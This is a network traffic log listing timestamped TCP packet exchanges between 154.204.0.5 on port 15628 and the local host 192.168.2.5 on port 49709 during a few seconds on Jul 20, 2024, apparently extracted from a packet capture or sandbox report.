Jul 20, 2024 16:15:22.954721928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.954766035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.959898949 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.959952116 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.970293999 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.970349073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:22.977544069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:22.977598906 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.004532099 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.004883051 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.022852898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.033484936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.038290977 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.038485050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.045592070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.049602985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.066812038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.067085028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.094106913 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.094284058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.113298893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.113490105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.120945930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.121156931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.127574921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.127684116 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.133388042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.133476973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.138588905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.138771057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.143706083 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.143923044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.149388075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.149480104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.155745029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.155895948 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.163835049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.164024115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.168994904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.169178963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.174462080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.174679995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.179696083 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.179817915 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.184751034 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.184928894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.190049887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.190341949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.195179939 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.195355892 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.200659037 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.200854063 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.210803032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.210947990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.215893984 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.216016054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.221945047 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.222181082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.230993032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.231211901 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.236850023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.237487078 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.252377033 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.252490044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.262655973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.262767076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.267695904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.267872095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.272871017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.272991896 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.277983904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.278121948 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.283009052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.283124924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.292202950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.292464972 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.297692060 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.297993898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.302982092 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.303117990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.308149099 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.308270931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.313240051 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.313426971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.318645954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.318821907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.324080944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.329490900 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.336083889 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.336201906 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.343028069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.343182087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.348032951 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.348150015 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.353099108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.355508089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.360532999 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.360661983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.367088079 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.367237091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.374641895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.374933004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.380347967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.381076097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.386590004 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.386693954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.391558886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.391697884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.398735046 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.398840904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.403722048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.403851032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.409702063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.410046101 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.417983055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.418504000 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.429368019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.429486990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.439238071 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.439380884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.446513891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.446657896 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.453210115 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.453351021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.463135004 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.463530064 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.470060110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.470204115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.475140095 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.475291967 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.516920090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.517184973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.530637026 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.533653975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.541695118 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.569487095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.574449062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.574723005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.580250025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.580389977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.585491896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.585587978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.591000080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.591270924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.615055084 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.615246058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.620342970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.620475054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.625312090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.625442028 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.631135941 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.631550074 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.636568069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.636728048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.641802073 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.641942978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.646856070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.647085905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.652506113 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.652873993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.658389091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.658678055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.665131092 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.665281057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.671015024 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.671140909 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.676145077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.676279068 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.683614016 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.683751106 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.690022945 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.690200090 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.695126057 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.695594072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.700649023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.700880051 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.707323074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.707874060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.712929964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.713116884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.718204975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.718754053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.723639011 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.723781109 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.728857040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.729063988 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.734070063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.734196901 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.739295959 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.739459038 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.745414019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.745584011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.750540972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.750693083 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.755644083 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.755831003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.760799885 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.760997057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.766164064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.766309977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.771327972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.771523952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.777018070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.777246952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.782238960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.783487082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.788852930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.789040089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.813863993 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.816596031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.817692995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.819008112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.819138050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.829963923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.830178022 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.835294962 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.835535049 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.840764046 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.840913057 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.849132061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.852849007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.858305931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.858511925 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.863496065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.863627911 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.869071007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.869276047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.877742052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.878763914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.883632898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.883843899 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.888995886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.889503956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.895556927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.896754026 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.905296087 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.905390024 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.910398960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.910789967 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.915746927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.915966034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.921173096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.922429085 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.927413940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.929361105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.934241056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.935204983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.940231085 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.940393925 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.945422888 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.945570946 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.950692892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.950844049 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.955795050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.955943108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.961524010 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.965689898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.972640991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.972809076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.977902889 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.978352070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.983412981 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.983572006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.989424944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.989651918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.994805098 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.994880915 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:23.999790907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:23.999865055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.004864931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.004945040 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.010188103 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.010277987 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.015419960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.015491962 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.021332026 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.021399975 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.027245998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.027303934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.032738924 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.032814980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.037992001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.038053989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.043095112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.043170929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.050754070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.050810099 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.055727959 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.055799007 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.061086893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.061147928 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.066152096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.066210985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.074908018 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.075001955 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.079946995 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.080013037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.085398912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.085455894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.091262102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.091334105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.098030090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.098097086 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.103358984 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.103454113 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.108428955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.108505011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.114360094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.114514112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.121049881 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.121130943 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.126514912 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.126585960 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.132221937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.132299900 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.141408920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.141489029 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.148610115 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.148679018 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.154659033 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.154727936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.163259983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.163325071 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.168935061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:24.169028044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:24.174132109 CEST	15628	49709	154.204.0.5	192.168.2.5
